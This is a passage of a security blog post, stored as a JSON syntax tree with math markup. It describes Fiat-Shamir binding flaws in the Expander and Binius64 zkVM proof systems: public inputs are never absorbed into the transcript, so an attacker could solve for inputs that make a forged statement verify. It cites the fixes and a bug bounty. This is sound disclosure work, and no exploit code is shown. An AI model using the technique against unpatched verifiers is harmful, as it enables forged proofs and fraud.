],{"type":24,"tag":147,"props":126739,"children":126741},{"className":126740},[9635,27190],[126742],{"type":29,"value":76147},{"type":24,"tag":147,"props":126744,"children":126746},{"className":126745,"style":9812},[9714],[],{"type":24,"tag":147,"props":126748,"children":126750},{"className":126749},[9817],[126751],{"type":29,"value":369},{"type":24,"tag":147,"props":126753,"children":126755},{"className":126754,"style":9812},[9714],[],{"type":24,"tag":147,"props":126757,"children":126759},{"className":126758},[9624],[126760,126764],{"type":24,"tag":147,"props":126761,"children":126763},{"className":126762,"style":99661},[9629],[],{"type":24,"tag":147,"props":126765,"children":126767},{"className":126766},[9635],[126768],{"type":29,"value":3173},{"type":24,"tag":25,"props":126770,"children":126771},{},[126772],{"type":29,"value":126773},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":24,"tag":25,"props":126775,"children":126776},{},[126777,126781,126783,126790,126792,126799],{"type":24,"tag":10949,"props":126778,"children":126779},{},[126780],{"type":29,"value":122330},{"type":29,"value":126782}," Fixed on March 5, 2026 via ",{"type":24,"tag":2773,"props":126784,"children":126787},{"href":126785,"rel":126786},"https://github.com/scroll-tech/ceno/pull/1262",[2777],[126788],{"type":29,"value":126789},"PR #1262",{"type":29,"value":126791}," (original report: ",{"type":24,"tag":2773,"props":126793,"children":126796},{"href":126794,"rel":126795},"https://github.com/scroll-tech/ceno/issues/1125",[2777],[126797],{"type":29,"value":126798},"#1125",{"type":29,"value":8758},{"type":24,"tag":2665,"props":126801,"children":126802},{},[],{"type":24,"tag":43,"props":126804,"children":126806},{"id":126805},"expander-polyhedra",[126807],{"type":29,"value":126808},"Expander (Polyhedra)",{"type":24,"tag":25,"props":126810,"children":126811},{},[126812],{"type":29,"value":126813},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":24,"tag":25,"props":126815,"children":126816},{},[126817],{"type":24,"tag":10949,"props":126818,"children":126819},{},[126820],{"type":29,"value":121036},{"type":24,"tag":137,"props":126822,"children":126824},{"code":126823},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[126825],{"type":24,"tag":80,"props":126826,"children":126827},{"__ignoreMap":7},[126828],{"type":29,"value":126823},{"type":24,"tag":25,"props":126830,"children":126831},{},[126832,126834,126840],{"type":29,"value":126833},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":24,"tag":80,"props":126835,"children":126837},{"className":126836},[],[126838],{"type":29,"value":126839},"eval_cst",{"type":29,"value":126841}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":24,"tag":137,"props":126843,"children":126845},{"code":126844,"language":8613,"meta":7,"className":8614,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[126846],{"type":24,"tag":80,"props":126847,"children":126848},{"__ignoreMap":7},[126849],{"type":24,"tag":147,"props":126850,"children":126851},{"class":149,"line":150},[126852,126856,126861,126866,126870,126874,126878,126882,126887,126891,126896,126901,126905,126910],{"type":24,"tag":147,"props":126853,"children":126854},{"style":247},[126855],{"type":29,"value":82216},{"type":24,"tag":147,"props":126857,"children":126858},{"style":241},[126859],{"type":29,"value":126860}," -=",{"type":24,"tag":147,"props":126862,"children":126863},{"style":9044},[126864],{"type":29,"value":126865}," GKRVerifierHelper",{"type":24,"tag":147,"props":126867,"children":126868},{"style":241},[126869],{"type":29,"value":9106},{"type":24,"tag":147,"props":126871,"children":126872},{"style":229},[126873],{"type":29,"value":126839},{"type":24,"tag":147,"props":126875,"children":126876},{"style":235},[126877],{"type":29,"value":480},{"type":24,"tag":147,"props":126879,"children":126880},{"style":241},[126881],{"type":29,"value":485},{"type":24,"tag":147,"props":126883,"children":126884},{"style":247},[126885],{"type":29,"value":126886},"layer",{"type":24,"tag":147,"props":126888,"children":126889},{"style":241},[126890],{"type":29,"value":87},{"type":24,"tag":147,"props":126892,"children":126893},{"style":235},[126894],{"type":29,"value":126895},"const_, ",{"type":24,"tag":147,"props":126897,"children":126898},{"style":247},[126899],{"type":29,"value":126900},"public_input",{"type":24,"tag":147,"props":126902,"children":126903},{"style":235},[126904],{"type":29,"value":546},{"type":24,"tag":147,"props":126906,"children":126907},{"style":247},[126908],{"type":29,"value":126909},"sp",{"type":24,"tag":147,"props":126911,"children":126912},{"style":235},[126913],{"type":29,"value":1473},{"type":24,"tag":25,"props":126915,"children":126916},{},[126917,126919,126924],{"type":29,"value":126918},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":24,"tag":80,"props":126920,"children":126922},{"className":126921},[],[126923],{"type":29,"value":126909},{"type":29,"value":5745},{"type":24,"tag":25,"props":126926,"children":126927},{},[126928],{"type":24,"tag":10949,"props":126929,"children":126930},{},[126931],{"type":29,"value":126932},"The vulnerability:",{"type":24,"tag":25,"props":126934,"children":126935},{},[126936,126941],{"type":24,"tag":80,"props":126937,"children":126939},{"className":126938},[],[126940],{"type":29,"value":126900},{"type":29,"value":126942}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":24,"tag":25,"props":126944,"children":126945},{},[126946],{"type":24,"tag":63,"props":126947,"children":126950},{"alt":126948,"src":126949},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":24,"tag":25,"props":126952,"children":126953},{},[126954,126955,126960],{"type":29,"value":5094},{"type":24,"tag":80,"props":126956,"children":126958},{"className":126957},[],[126959],{"type":29,"value":126839},{"type":29,"value":126961}," function computes a linear combination:",{"type":24,"tag":25,"props":126963,"children":126964},{},[126965],{"type":24,"tag":80,"props":126966,"children":126968},{"className":126967},[9607,9608],[126969],{"type":24,"tag":147,"props":126970,"children":126972},{"className":126971},[9613],[126973],{"type":24,"tag":147,"props":126974,"children":126976},{"className":126975,"ariaHidden":9619},[9618],[126977,127022,127146],{"type":24,"tag":147,"props":126978,"children":126980},{"className":126979},[9624],[126981,126985,126994,126999,127009,127013,127018],{"type":24,"tag":147,"props":126982,"children":126984},{"className":126983,"style":100043},[9629],[],{"type":24,"tag":147,"props":126986,"children":126988},{"className":126987},[9635,29],[126989],{"type":24,"tag":147,"props":126990,"children":126992},{"className":126991},[9635],[126993],{"type":29,"value":43146},{"type":24,"tag":147,"props":126995,"children":126997},{"className":126996,"style":98630},[9635],[126998],{"type":29,"value":8714},{"type":24,"tag":147,"props":127000,"children":127002},{"className":127001},[9635,29],[127003],{"type":24,"tag":147,"props":127004,"children":127006},{"className":127005},[9635],[127007],{"type":29,"value":127008},"cst",{"type":24,"tag":147,"props":127010,"children":127012},{"className":127011,"style":9812},[9714],[],{"type":24,"tag":147,"props":127014,"children":127016},{"className":127015},[9817],[127017],{"type":29,"value":369},{"type":24,"tag":147,"props":127019,"children":127021},{"className":127020,"style":9812},[9714],[],{"type":24,"tag":147,"props":127023,"children":127025},{"className":127024},[9624],[127026,127030,127087,127091,127118,127123,127128,127133,127137,127142],{"type":24,"tag":147,"props":127027,"children":127029},{"className":127028,"style":98572},[9629],[],{"type":24,"tag":147,"props":127031,"children":127033},{"className":127032},[27226],[127034,127039],{"type":24,"tag":147,"props":127035,"children":127037},{"className":127036,"style":27233},[27226,27231,27232],[127038],{"type":29,"value":114416},{"type":24,"tag":147,"props":127040,"children":127042},{"className":127041},[9650],[127043],{"type":24,"tag":147,"props":127044,"children":127046},{"className":127045},[9655,27244],[127047,127076],{"type":24,"tag":147,"props":127048,"children":127050},{"className":127049},[9660],[127051,127071],{"type":24,"tag":147,"props":127052,"children":127054},{"className":127053,"style":119827},[9665],[127055],{"type":24,"tag":147,"props":127056,"children":127057},{"style":27257},[127058,127062],{"type":24,"tag":147,"props":127059,"children":127061},{"className":127060,"style":9675},[9674],[],{"type":24,"tag":147,"props":127063,"children":127065},{"className":127064},[9680,9681,9682,9683],[127066],{"type":24,"tag":147,"props":127067,"children":127069},{"className":127068},[9635,27190,9683],[127070],{"type":29,"value":9363},{"type":24,"tag":147,"props":127072,"children":127074},{"className":127073},[27347],[127075],{"type":29,"value":27350},{"type":24,"tag":147,"props":127077,"children":127079},{"className":127078},[9660],[127080],{"type":24,"tag":147,"props":127081,"children":127083},{"className":127082,"style":120107},[9665],[127084],{"type":24,"tag":147,"props":127085,"children":127086},{},[],{"type":24,"tag":147,"props":127088,"children":127090},{"className":127089,"style":9753},[9714],[],{"type":24,"tag":147,"props":127092,"children":127094},{"className":127093},[9635],[127095,127104,127109],{"type":24,"tag":147,"props":127096,"children":127098},{"className":127097},[9635,29],[127099],{"type":24,"tag":147,"props":127100,"children":127102},{"className":127101},[9635],[127103],{"type":29,"value":67257},{"type":24,"tag":147,"props":127105,"children":127107},{"className":127106,"style":98630},[9635],[127108],{"type":29,"value":8714},{"type":24,"tag":147,"props":127110,"children":127112},{"className":127111},[9635,29],[127113],{"type":24,"tag":147,"props":127114,"children":127116},{"className":127115},[9635],[127117],{"type":29,"value":13992},{"type":24,"tag":147,"props":127119,"children":127121},{"className":127120},[27319],[127122],{"type":29,"value":9358},{"type":24,"tag":147,"props":127124,"children":127126},{"className":127125},[9635,27190],[127127],{"type":29,"value":9363},{"type":24,"tag":147,"props":127129,"children":127131},{"className":127130},[27341],[127132],{"type":29,"value":21023},{"type":24,"tag":147,"props":127134,"children":127136},{"className":127135,"style":9715},[9714],[],{"type":24,"tag":147,"props":127138,"children":127140},{"className":127139},[9720],[127141],{"type":29,"value":116883},{"type":24,"tag":147,"props":127143,"children":127145},{"className":127144,"style":9715},[9714],[],{"type":24,"tag":147,"props":127147,"children":127149},{"className":127148},[9624],[127150,127154,127163,127168,127173,127178,127182,127231],{"type":24,"tag":147,"props":127151,"children":127153},{"className":127152,"style":9735},[9629],[],{"type":24,"tag":147,"props":127155,"children":127157},{"className":127156},[9635,29],[127158],{"type":24,"tag":147,"props":127159,"children":127161},{"className":127160},[9635],[127162],{"type":29,"value":118209},{"type":24,"tag":147,"props":127164,"children":127166},{"className":127165},[27319],[127167],{"type":29,"value":480},{"type":24,"tag":147,"props":127169,"children":127171},{"className":127170},[9635,27190],[127172],{"type":29,"value":9363},{"type":24,"tag":147,"props":127174,"children":127176},{"className":127175},[9746],[127177],{"type":29,"value":9749},{"type":24,"tag":147,"props":127179,"children":127181},{"className":127180,"style":9753},[9714],[],{"type":24,"tag":147,"props":127183,"children":127185},{"className":127184},[9635,117770],[127186],{"type":24,"tag":147,"props":127187,"children":127189},{"className":127188},[9655],[127190],{"type":24,"tag":147,"props":127191,"children":127193},{"className":127192},[9660],[127194],{"type":24,"tag":147,"props":127195,"children":127197},{"className":127196,"style":117856},[9665],[127198,127210],{"type":24,"tag":147,"props":127199,"children":127200},{"style":117787},[127201,127205],{"type":24,"tag":147,"props":127202,"children":127204},{"className":127203,"style":117792},[9674],[],{"type":24,"tag":147,"props":127206,"children":127208},{"className":127207,"style":98630},[9635,27190],[127209],{"type":29,"value":99449},{"type":24,"tag":147,"props":127211,"children":127212},{"style":117787},[127213,127217],{"type":24,"tag":147,"props":127214,"children":127216},{"className":127215,"style":117792},[9674],[],{"type":24,"tag":147,"props":127218,"children":127220},{"className":127219,"style":117880},[117810],[127221],{"type":24,"tag":147,"props":127222,"children":127224},{"className":127223,"style":117886},[117885],[127225],{"type":24,"tag":39874,"props":127226,"children":127227},{"xmlns":117890,"width":117891,"height":117892,"style":117893,"viewBox":117894,"preserveAspectRatio":117895},[127228],{"type":24,"tag":6785,"props":127229,"children":127230},{"d":117899},[],{"type":24,"tag":147,"props":127232,"children":127234},{"className":127233},[27341],[127235],{"type":29,"value":8758},{"type":24,"tag":25,"props":127237,"children":127238},{},[127239,127240,127309,127311,127316,127318,127323],{"type":29,"value":121456},{"type":24,"tag":80,"props":127241,"children":127243},{"className":127242},[9607,9608],[127244],{"type":24,"tag":147,"props":127245,"children":127247},{"className":127246},[9613],[127248],{"type":24,"tag":147,"props":127249,"children":127251},{"className":127250,"ariaHidden":9619},[9618],[127252],{"type":24,"tag":147,"props":127253,"children":127255},{"className":127254},[9624],[127256,127260],{"type":24,"tag":147,"props":127257,"children":127259},{"className":127258,"style":117856},[9629],[],{"type":24,"tag":147,"props":127261,"children":127263},{"className":127262},[9635,117770],[127264],{"type":24,"tag":147,"props":127265,"children":127267},{"className":127266},[9655],[127268],{"type":24,"tag":147,"props":127269,"children":127271},{"className":127270},[9660],[127272],{"type":24,"tag":147,"props":127273,"children":127275},{"className":127274,"style":117856},[9665],[127276,127288],{"type":24,"tag":147,"props":127277,"children":127278},{"style":117787},[127279,127283],{"type":24,"tag":147,"props":127280,"children":127282},{"className":127281,"style":117792},[9674],[],{"type":24,"tag":147,"props":127284,"children":127286},{"className":127285,"style":98630},[9635,27190],[127287],{"type":29,"value":99449},{"type":24,"tag":147,"props":127289,"children":127290},{"style":117787},[127291,127295],{"type":24,"tag":147,"props":127292,"children":127294},{"className":127293,"style":117792},[9674],[],{"type":24,"tag":147,"props":127296,"children":127298},{"className":127297,"style":117880},[117810],[127299],{"type":24,"tag":147,"props":127300,"children":127302},{"className":127301,"style":117886},[117885],[127303],{"type":24,"tag":39874,"props":127304,"children":127305},{"xmlns":117890,"width":117891,"height":117892,"style":117893,"viewBox":117894,"preserveAspectRatio":117895},[127306],{"type":24,"tag":6785,"props":127307,"children":127308},{"d":117899},[],{"type":29,"value":127310}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":24,"tag":80,"props":127312,"children":127314},{"className":127313},[],[127315],{"type":29,"value":126900},{"type":29,"value":127317},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":24,"tag":80,"props":127319,"children":127321},{"className":127320},[],[127322],{"type":29,"value":126900},{"type":29,"value":127324}," that makes the verifier's check pass.",{"type":24,"tag":25,"props":127326,"children":127327},{},[127328,127332,127334,127341,127342,127345,127352],{"type":24,"tag":10949,"props":127329,"children":127330},{},[127331],{"type":29,"value":122330},{"type":29,"value":127333}," Fixed on 21st January 2026 via ",{"type":24,"tag":2773,"props":127335,"children":127338},{"href":127336,"rel":127337},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[2777],[127339],{"type":29,"value":127340},"commit 4a8c2be",{"type":29,"value":12083},{"type":24,"tag":8388,"props":127343,"children":127344},{},[],{"type":24,"tag":2773,"props":127346,"children":127349},{"href":127347,"rel":127348},"https://blog.polyhedra.network/expander-bug-bounty/",[2777],[127350],{"type":29,"value":127351},"Claimed 500k Bug bounty",{"type":29,"value":127353}," award pending",{"type":24,"tag":2665,"props":127355,"children":127356},{},[],{"type":24,"tag":43,"props":127358,"children":127360},{"id":127359},"binius64",[127361],{"type":29,"value":113464},{"type":24,"tag":25,"props":127363,"children":127364},{},[127365,127367,127494],{"type":29,"value":127366},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":24,"tag":80,"props":127368,"children":127370},{"className":127369},[9607,9608],[127371],{"type":24,"tag":147,"props":127372,"children":127374},{"className":127373},[9613],[127375],{"type":24,"tag":147,"props":127376,"children":127378},{"className":127377,"ariaHidden":9619},[9618],[127379],{"type":24,"tag":147,"props":127380,"children":127382},{"className":127381},[9624],[127383,127388],{"type":24,"tag":147,"props":127384,"children":127387},{"className":127385,"style":127386},[9629],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":24,"tag":147,"props":127389,"children":127391},{"className":127390},[9635],[127392,127399],{"type":24,"tag":147,"props":127393,"children":127396},{"className":127394},[9635,127395],"mathbb",[127397],{"type":29,"value":127398},"F",{"type":24,"tag":147,"props":127400,"children":127402},{"className":127401},[9650],[127403],{"type":24,"tag":147,"props":127404,"children":127406},{"className":127405},[9655,27244],[127407,127482],{"type":24,"tag":147,"props":127408,"children":127410},{"className":127409},[9660],[127411,127477],{"type":24,"tag":147,"props":127412,"children":127414},{"className":127413,"style":117952},[9665],[127415],{"type":24,"tag":147,"props":127416,"children":127418},{"style":127417},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[127419,127423],{"type":24,"tag":147,"props":127420,"children":127422},{"className":127421,"style":9675},[9674],[],{"type":24,"tag":147,"props":127424,"children":127426},{"className":127425},[9680,9681,9682,9683],[127427],{"type":24,"tag":147,"props":127428,"children":127430},{"className":127429},[9635,9683],[127431],{"type":24,"tag":147,"props":127432,"children":127434},{"className":127433},[9635,9683],[127435,127440],{"type":24,"tag":147,"props":127436,"children":127438},{"className":127437},[9635,9683],[127439],{"type":29,"value":8753},{"type":24,"tag":147,"props":127441,"children":127443},{"className":127442},[9650],[127444],{"type":24,"tag":147,"props":127445,"children":127447},{"className":127446},[9655],[127448],{"type":24,"tag":147,"props":127449,"children":127451},{"className":127450},[9660],[127452],{"type":24,"tag":147,"props":127453,"children":127456},{"className":127454,"style":127455},[9665],"height:0.7463em;",[127457],{"type":24,"tag":147,"props":127458,"children":127459},{"style":118077},[127460,127464],{"type":24,"tag":147,"props":127461,"children":127463},{"className":127462,"style":114481},[9674],[],{"type":24,"tag":147,"props":127465,"children":127467},{"className":127466},[9680,114486,114487,9683],[127468],{"type":24,"tag":147,"props":127469,"children":127471},{"className":127470},[9635,9683],[127472],{"type":24,"tag":147,"props":127473,"children":127475},{"className":127474},[9635,9683],[127476],{"type":29,"value":35448},{"type":24,"tag":147,"props":127478,"children":127480},{"className":127479},[27347],[127481],{"type":29,"value":27350},{"type":24,"tag":147,"props":127483,"children":127485},{"className":127484},[9660],[127486],{"type":24,"tag":147,"props":127487,"children":127490},{"className":127488,"style":127489},[9665],"height:0.1776em;",[127491],{"type":24,"tag":147,"props":127492,"children":127493},{},[],{"type":29,"value":127495}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":24,"tag":25,"props":127497,"children":127498},{},[127499,127501,127506],{"type":29,"value":127500},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":24,"tag":10949,"props":127502,"children":127503},{},[127504],{"type":29,"value":127505},"Shift Protocol",{"type":29,"value":127507}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":24,"tag":25,"props":127509,"children":127510},{},[127511],{"type":24,"tag":10949,"props":127512,"children":127513},{},[127514],{"type":29,"value":126932},{"type":24,"tag":25,"props":127516,"children":127517},{},[127518],{"type":29,"value":127519},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":24,"tag":137,"props":127521,"children":127523},{"code":127522,"language":8613,"meta":7,"className":8614,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[127524],{"type":24,"tag":80,"props":127525,"children":127526},{"__ignoreMap":7},[127527,127562,127587,127621,127629],{"type":24,"tag":147,"props":127528,"children":127529},{"class":149,"line":150},[127530,127534,127538,127542,127546,127550,127554,127558],{"type":24,"tag":147,"props":127531,"children":127532},{"style":218},[127533],{"type":29,"value":19307},{"type":24,"tag":147,"props":127535,"children":127536},{"style":218},[127537],{"type":29,"value":19312},{"type":24,"tag":147,"props":127539,"children":127540},{"style":229},[127541],{"type":29,"value":13792},{"type":24,"tag":147,"props":127543,"children":127544},{"style":235},[127545],{"type":29,"value":3583},{"type":24,"tag":147,"props":127547,"children":127548},{"style":9044},[127549],{"type":29,"value":127398},{"type":24,"tag":147,"props":127551,"children":127552},{"style":235},[127553],{"type":29,"value":546},{"type":24,"tag":147,"props":127555,"children":127556},{"style":9044},[127557],{"type":29,"value":121849},{"type":24,"tag":147,"props":127559,"children":127560},{"style":235},[127561],{"type":29,"value":12214},{"type":24,"tag":147,"props":127563,"children":127564},{"class":149,"line":160},[127565,127570,127574,127578,127583],{"type":24,"tag":147,"props":127566,"children":127567},{"style":247},[127568],{"type":29,"value":127569},"    constraint_system",{"type":24,"tag":147,"props":127571,"children":127572},{"style":241},[127573],{"type":29,"value":978},{"type":24,"tag":147,"props":127575,"children":127576},{"style":241},[127577],{"type":29,"value":12767},{"type":24,"tag":147,"props":127579,"children":127580},{"style":9044},[127581],{"type":29,"value":127582},"ConstraintSystem",{"type":24,"tag":147,"props":127584,"children":127585},{"style":235},[127586],{"type":29,"value":1549},{"type":24,"tag":147,"props":127588,"children":127589},{"class":149,"line":169},[127590,127594,127598,127602,127606,127611,127616],{"type":24,"tag":147,"props":127591,"children":127592},{"style":247},[127593],{"type":29,"value":13147},{"type":24,"tag":147,"props":127595,"children":127596},{"style":241},[127597],{"type":29,"value":978},{"type":24,"tag":147,"props":127599,"children":127600},{"style":241},[127601],{"type":29,"value":12767},{"type":24,"tag":147,"props":127603,"children":127604},{"style":235},[127605],{"type":29,"value":9358},{"type":24,"tag":147,"props":127607,"children":127608},{"style":9044},[127609],{"type":29,"value":127610},"Word",{"type":24,"tag":147,"props":127612,"children":127613},{"style":235},[127614],{"type":29,"value":127615},"],    ",{"type":24,"tag":147,"props":127617,"children":127618},{"style":154},[127619],{"type":29,"value":127620},"// \u003C- NEVER ABSORBED\n",{"type":24,"tag":147,"props":127622,"children":127623},{"class":149,"line":178},[127624],{"type":24,"tag":147,"props":127625,"children":127626},{"style":154},[127627],{"type":29,"value":127628},"    // ...\n",{"type":24,"tag":147,"props":127630,"children":127631},{"class":149,"line":187},[127632,127636,127640,127644,127648,127653,127657,127661,127665,127669],{"type":24,"tag":147,"props":127633,"children":127634},{"style":235},[127635],{"type":29,"value":564},{"type":24,"tag":147,"props":127637,"children":127638},{"style":241},[127639],{"type":29,"value":495},{"type":24,"tag":147,"props":127641,"children":127642},{"style":9044},[127643],{"type":29,"value":19378},{"type":24,"tag":147,"props":127645,"children":127646},{"style":235},[127647],{"type":29,"value":3583},{"type":24,"tag":147,"props":127649,"children":127650},{"style":9044},[127651],{"type":29,"value":127652},"VerifyOutput",{"type":24,"tag":147,"props":127654,"children":127655},{"style":235},[127656],{"type":29,"value":3583},{"type":24,"tag":147,"props":127658,"children":127659},{"style":9044},[127660],{"type":29,"value":127398},{"type":24,"tag":147,"props":127662,"children":127663},{"style":235},[127664],{"type":29,"value":12256},{"type":24,"tag":147,"props":127666,"children":127667},{"style":9044},[127668],{"type":29,"value":42996},{"type":24,"tag":147,"props":127670,"children":127671},{"style":235},[127672],{"type":29,"value":11617},{"type":24,"tag":25,"props":127674,"children":127675},{},[127676,127678,127684,127685,127691,127693,127697],{"type":29,"value":127677},"In the shift protocol, challenges ",{"type":24,"tag":80,"props":127679,"children":127681},{"className":127680},[],[127682],{"type":29,"value":127683},"r_j",{"type":29,"value":855},{"type":24,"tag":80,"props":127686,"children":127688},{"className":127687},[],[127689],{"type":29,"value":127690},"inout_eval_point",{"type":29,"value":127692}," are sampled ",{"type":24,"tag":10949,"props":127694,"children":127695},{},[127696],{"type":29,"value":110167},{"type":29,"value":127698}," the public witness is bound.",{"type":24,"tag":25,"props":127700,"children":127701},{},[127702],{"type":24,"tag":10949,"props":127703,"children":127704},{},[127705],{"type":29,"value":121052},{"type":24,"tag":25,"props":127707,"children":127708},{},[127709],{"type":24,"tag":63,"props":127710,"children":127713},{"alt":127711,"src":127712},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":24,"tag":25,"props":127715,"children":127716},{},[127717],{"type":29,"value":127718},"During verification",{"type":24,"tag":2674,"props":127720,"children":127721},{},[127722,127742,127754,127773],{"type":24,"tag":2678,"props":127723,"children":127724},{},[127725,127727,127732,127734,127740],{"type":29,"value":127726},"Sumcheck produces challenge points ",{"type":24,"tag":80,"props":127728,"children":127730},{"className":127729},[],[127731],{"type":29,"value":127683},{"type":29,"value":127733}," (bit indices) and ",{"type":24,"tag":80,"props":127735,"children":127737},{"className":127736},[],[127738],{"type":29,"value":127739},"r_s",{"type":29,"value":127741}," (shift indices)",{"type":24,"tag":2678,"props":127743,"children":127744},{},[127745,127747,127752],{"type":29,"value":127746},"Verifier samples ",{"type":24,"tag":80,"props":127748,"children":127750},{"className":127749},[],[127751],{"type":29,"value":127690},{"type":29,"value":127753}," from transcript",{"type":24,"tag":2678,"props":127755,"children":127756},{},[127757,127759,127765,127767,127772],{"type":29,"value":127758},"Verifier computes ",{"type":24,"tag":80,"props":127760,"children":127762},{"className":127761},[],[127763],{"type":29,"value":127764},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":29,"value":127766}," using the unbound ",{"type":24,"tag":80,"props":127768,"children":127770},{"className":127769},[],[127771],{"type":29,"value":67257},{"type":29,"value":23740},{"type":24,"tag":2678,"props":127774,"children":127775},{},[127776,127777,127783],{"type":29,"value":5094},{"type":24,"tag":80,"props":127778,"children":127780},{"className":127779},[],[127781],{"type":29,"value":127782},"public_eval",{"type":29,"value":127784}," feeds into subsequent verification equations",{"type":24,"tag":25,"props":127786,"children":127787},{},[127788],{"type":29,"value":127789},"The MLE evaluation is linear in the public witness bits:",{"type":24,"tag":25,"props":127791,"children":127792},{},[127793],{"type":24,"tag":80,"props":127794,"children":127796},{"className":127795},[9607,9608],[127797],{"type":24,"tag":147,"props":127798,"children":127800},{"className":127799},[9613],[127801],{"type":24,"tag":147,"props":127802,"children":127804},{"className":127803,"ariaHidden":9619},[9618],[127805,127849,127989,128101],{"type":24,"tag":147,"props":127806,"children":127808},{"className":127807},[9624],[127809,127813,127822,127827,127836,127840,127845],{"type":24,"tag":147,"props":127810,"children":127812},{"className":127811,"style":100043},[9629],[],{"type":24,"tag":147,"props":127814,"children":127816},{"className":127815},[9635,29],[127817],{"type":24,"tag":147,"props":127818,"children":127820},{"className":127819},[9635],[127821],{"type":29,"value":67257},{"type":24,"tag":147,"props":127823,"children":127825},{"className":127824,"style":98630},[9635],[127826],{"type":29,"value":8714},{"type":24,"tag":147,"props":127828,"children":127830},{"className":127829},[9635,29],[127831],{"type":24,"tag":147,"props":127832,"children":127834},{"className":127833},[9635],[127835],{"type":29,"value":43146},{"type":24,"tag":147,"props":127837,"children":127839},{"className":127838,"style":9812},[9714],[],{"type":24,"tag":147,"props":127841,"children":127843},{"className":127842},[9817],[127844],{"type":29,"value":369},{"type":24,"tag":147,"props":127846,"children":127848},{"className":127847,"style":9812},[9714],[],{"type":24,"tag":147,"props":127850,"children":127852},{"className":127851},[9624],[127853,127857,127929,127933,127946,127951,127956,127961,127966,127971,127976,127980,127985],{"type":24,"tag":147,"props":127854,"children":127856},{"className":127855,"style":124382},[9629],[],{"type":24,"tag":147,"props":127858,"children":127860},{"className":127859},[27226],[127861,127866],{"type":24,"tag":147,"props":127862,"children":127864},{"className":127863,"style":27233},[27226,27231,27232],[127865],{"type":29,"value":114416},{"type":24,"tag":147,"props":127867,"children":127869},{"className":127868},[9650],[127870],{"type":24,"tag":147,"props":127871,"children":127873},{"className":127872},[9655,27244],[127874,127918],{"type":24,"tag":147,"props":127875,"children":127877},{"className":127876},[9660],[127878,127913],{"type":24,"tag":147,"props":127879,"children":127881},{"className":127880,"style":119292},[9665],[127882],{"type":24,"tag":147,"props":127883,"children":127884},{"style":27257},[127885,127889],{"type":24,"tag":147,"props":127886,"children":127888},{"className":127887,"style":9675},[9674],[],{"type":24,"tag":147,"props":127890,"children":127892},{"className":127891},[9680,9681,9682,9683],[127893],{"type":24,"tag":147,"props":127894,"children":127896},{"className":127895},[9635,9683],[127897,127903,127908],{"type":24,"tag":147,"props":127898,"children":127901},{"className":127899,"style":127900},[9635,27190,9683],"margin-right:0.02691em;",[127902],{"type":29,"value":55169},{"type":24,"tag":147,"props":127904,"children":127906},{"className":127905},[9746,9683],[127907],{"type":29,"value":9749},{"type":24,"tag":147,"props":127909,"children":127911},{"className":127910},[9635,27190,9683],[127912],{"type":29,"value":8852},{"type":24,"tag":147,"props":127914,"children":127916},{"className":127915},[27347],[127917],{"type":29,"value":27350},{"type":24,"tag":147,"props":127919,"children":127921},{"className":127920},[9660],[127922],{"type":24,"tag":147,"props":127923,"children":127925},{"className":127924,"style":119858},[9665],[127926],{"type":24,"tag":147,"props":127927,"children":127928},{},[],{"type":24,"tag":147,"props":127930,"children":127932},{"className":127931,"style":9753},[9714],[],{"type":24,"tag":147,"props":127934,"children":127936},{"className":127935},[9635],[127937],{"type":24,"tag":147,"props":127938,"children":127940},{"className":127939},[9635,29],[127941],{"type":24,"tag":147,"props":127942,"children":127944},{"className":127943},[9635],[127945],{"type":29,"value":67257},{"type":24,"tag":147,"props":127947,"children":127949},{"className":127948},[27319],[127950],{"type":29,"value":9358},{"type":24,"tag":147,"props":127952,"children":127954},{"className":127953,"style":127900},[9635,27190],[127955],{"type":29,"value":55169},{"type":24,"tag":147,"props":127957,"children":127959},{"className":127958},[27341],[127960],{"type":29,"value":21023},{"type":24,"tag":147,"props":127962,"children":127964},{"className":127963},[27319],[127965],{"type":29,"value":9358},{"type":24,"tag":147,"props":127967,"children":127969},{"className":127968},[9635,27190],[127970],{"type":29,"value":8852},{"type":24,"tag":147,"props":127972,"children":127974},{"className":127973},[27341],[127975],{"type":29,"value":21023},{"type":24,"tag":147,"props":127977,"children":127979},{"className":127978,"style":9715},[9714],[],{"type":24,"tag":147,"props":127981,"children":127983},{"className":127982},[9720],[127984],{"type":29,"value":116883},{"type":24,"tag":147,"props":127986,"children":127988},{"className":127987,"style":9715},[9714],[],{"type":24,"tag":147,"props":127990,"children":127992},{"className":127991},[9624],[127993,127998,128007,128012,128017,128022,128026,128083,128088,128092,128097],{"type":24,"tag":147,"props":127994,"children":127997},{"className":127995,"style":127996},[9629],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":24,"tag":147,"props":127999,"children":128001},{"className":128000},[9635,29],[128002],{"type":24,"tag":147,"props":128003,